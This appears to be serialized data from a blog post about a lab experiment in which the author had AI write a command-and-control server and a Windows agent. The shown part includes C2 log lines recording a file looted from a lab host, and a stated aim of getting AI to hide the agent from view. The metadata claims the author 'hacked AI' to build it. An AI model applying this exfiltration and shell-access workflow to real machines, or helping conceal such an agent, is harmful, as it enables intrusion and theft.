",[209,1356,1357],{"class":232},"Decoded",[209,1359,1360],{"class":225}," 510.3",[209,1362,1363],{"class":232}," KB",[209,1365,1366],{"class":232}," as",[209,1368,1369],{"class":232}," .png\n",[209,1371,1372],{"class":211,"line":875},[209,1373,1374],{"class":215},"[10:15:35] [💾] File saved: loot\u002F192.168.2.69_2025-11-25_10-15-35.png\n",[209,1376,1377],{"class":211,"line":894},[209,1378,1379],{"class":215},"[10:15:45] [📥] Task REQUEST from 192.168.2.69\n",[209,1381,1382,1385,1388,1391],{"class":211,"line":914},[209,1383,1384],{"class":215},"[10:15:45] [→] SLEEP sent to 192.168.2.69 (",[209,1386,1387],{"class":302},"queue",[209,1389,1390],{"class":232}," empty",[209,1392,1008],{"class":215},[39,1394,1396],{"id":1395},"checking-the-loot","Checking the Loot",[13,1398,1399,1400,1402],{},"The retrieved file appears in the ",[195,1401,554],{}," directory:",[13,1404,1405],{},[125,1406,1408],{"href":1407},"\u002Fblog\u002Fc2\u002Fflag.png",[1409,1410],"img",{"alt":1411,"src":1407},"Looted File",[13,1413,1414],{},"The server also writes reports to the agent_reports.txt log for review.",[13,1416,1417],{},"This demonstrates basic file exfiltration and SHELL command execution.",[139,1419,376],{"id":375},[13,1421,1422],{},"This isolated experiment shows how minimal code can simulate a full attacker workflow: beaconing, tasking, shell execution, and data exfiltration. I gained practical insight into:",[20,1424,1425,1428,1431,1434],{},[23,1426,1427],{},"How simple C2 protocols operate",[23,1429,1430],{},"How agents communicate with servers",[23,1432,1433],{},"Why defenders must monitor script engines, polling traffic, and base64 transfers",[23,1435,1436],{},"How attackers structure command execution loops",[39,1438,1440],{"id":1439},"whats-next","What’s Next?",[13,1442,1443],{},"Currently on the target VM you run an actual script file, but can AI help me hide this agent completely and run it in background hidden out of sight?",[39,1445,1446],{"id":195},"Code",[13,1448,1449],{},"Again, all code generated and refined by AI under strict lab conditions for educational purposes only.\nYou can find the complete code for both the C2 server and the Windows agent on my GitHub:",[13,1451,1452],{},[125,1453,1456],{"href":1454,"rel":1455},"https:\u002F\u002Fgithub.com\u002FJordyKingz\u002Fc2-server-agent",[129],"GitHub Repository",[413,1458,1459],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":205,"searchDepth":219,"depth":219,"links":1461},[1462,1463,1464,1465,1466,1467,1468],{"id":41,"depth":239,"text":42},{"id":472,"depth":239,"text":473},{"id":516,"depth":239,"text":517},{"id":260,"depth":239,"text":261},{"id":326,"depth":239,"text":327},{"id":1395,"depth":239,"text":1396},{"id":375,"depth":219,"text":376,"children":1469},[1470,1471],{"id":1439,"depth":239,"text":1440},{"id":195,"depth":239,"text":1446},[428,429,430],"2025-11-25","What if you could weaponize AI… for good? In this hands-on post, I show how I hacked AI to build a fully functional C2 server, craft a custom agent, and gain shell access on a controlled Windows VM","\u002Fassets\u002Fimages\u002Fblogs\u002Fhacking-ai-c2-server-malware.png",{"url":148},{"title":443,"description":1474},"blog\u002Fhacking-ai-c2-server-malware","G0mNJ97-h0a3QyNKgquOwTQf30dIV2rSohdwqEt2DLc",1788351963979]